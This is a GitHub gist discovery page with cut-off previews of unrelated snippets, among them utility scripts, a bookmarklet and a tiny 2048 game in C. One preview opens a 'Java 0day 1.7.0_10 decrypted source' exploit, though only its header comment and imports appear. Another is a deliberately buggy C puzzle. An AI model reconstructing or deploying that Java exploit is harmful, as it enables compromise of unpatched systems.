Skip to content

Instantly share code, notes, and snippets.

View Cougar's full-sized avatar
👨‍💻
I may be slow to respond.

Cougar

👨‍💻
I may be slow to respond.
View GitHub Profile
"""Scan a barcode from a CD/Album, and determine if it was released by a member of the RIAA"""
__author__ = 'Chris Grice <[email protected]>'
__license__ = 'MIT Licence'
import android
import urllib
import urllib2
@emk
emk / rpctest.c
Created April 22, 2011 17:43
XML-RPC for C code snippet (revision 1.10 of xmlrpc_data.c and 1.23 of rpctest.c, from ~10 years ago)
/* Copyright (C) 2001 by First Peer, Inc. All rights reserved.
**
** Redistribution and use in source and binary forms, with or without
** modification, are permitted provided that the following conditions
** are met:
** 1. Redistributions of source code must retain the above copyright
** notice, this list of conditions and the following disclaimer.
** 2. Redistributions in binary form must reproduce the above copyright
** notice, this list of conditions and the following disclaimer in the
** documentation and/or other materials provided with the distribution.
@eligrey
eligrey / LICENSE.md
Last active February 1, 2021 12:00 — forked from 140bytes/LICENSE.txt
Analog clock of the current time.

Public domain. No warranty expressed or implied. Use at your own risk. Attribution to Eli Grey is encouraged but optional.

@mattiasrunge
mattiasrunge / utctimestamp.c
Created May 10, 2012 21:25
Get UTC epoch timestamp function
#include <stdio.h>
#include <time.h>
#include <string.h>
/**
* This function returns a UTC epoch timestamp based on
* the supplied time information.
*
* @param [in] second Seconds [0-59]
@mathieue
mathieue / udp-multi-socat.sh
Created August 28, 2012 23:57
udp multiplexer with socat
socat - udp4-listen:8125,fork | tee >(socat - udp-sendto:127.0.0.1:8135) >(socat - udp-sendto:127.0.0.1:8140)
@vestel
vestel / README
Created November 17, 2012 00:17
Adds Suunto HR information (from Movescount) to workout in Endomondo
# This is draft version
# so code is ugly
# Possible todos:
* Code cleanup :)
* Accept filenames from command lines
* Create new file from date
* Create missing Trackpoints (for location based sports, like swimming)
* Refactor merge (do believe it might go slow on long distance run)
* Update sport name in file
/*
Java 0day 1.7.0_10 decrypted source
Originaly placed on https://damagelab.org/index.php?showtopic=23719&st=0
From Russia with love.
*/
import java.applet.Applet;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
import com.sun.jmx.mbeanserver.MBeanInstantiator;
@0xabad1dea
0xabad1dea / tricksy.c
Last active December 17, 2015 14:59
A deceitful C program
// hello clever programmers, would you like to play a game?
// where's the bug?
// by 0xabad1dea :)
#include <stdio.h>
#include <string.h>
int main() {
char input[16] = "stringstring!!!";
char output[8];
javascript:(function(){var newSS, styles='* { background:white ! important; color: black !important; text-decoration: none !important } :link, :link * { color: #0000EE !important } :visited, :visited * { color: #551A8B !important }'; if(document.createStyleSheet) { document.createStyleSheet("javascript:'"+styles+"'"); } else { newSS=document.createElement('link'); newSS.rel='stylesheet'; newSS.href='data:text/css,'+escape(styles); document.getElementsByTagName("head")[0].appendChild(newSS); } })();
@justecorruptio
justecorruptio / 2048.c
Created April 4, 2014 03:49
Tiny 2048 in C!
M[16],X=16,W,k;main(){T(system("stty cbreak")
);puts(W&1?"WIN":"LOSE");}K[]={2,3,1};s(f,d,i
,j,l,P){for(i=4;i--;)for(j=k=l=0;k<4;)j<4?P=M
[w(d,i,j++)],W|=P>>11,l*P&&(f?M[w(d,i,k)]=l<<
(l==P):0,k++),l=l?P?l-P?P:0:l:P:(f?M[w(d,i,k)
]=l:0,++k,W|=2*!l,l=0);}w(d,i,j){return d?w(d
-1,j,3-i):4*i+j;}T(i){for(i=X+rand()%X;M[i%X]
*i;i--);i?M[i%X]=2<<rand()%2:0;for(W=i=0;i<4;
)s(0,i++);for(i=X,puts("\e[2J\e[H");i--;i%4||
puts(""))printf(M[i]?"%4d|":" |",M[i]);W-2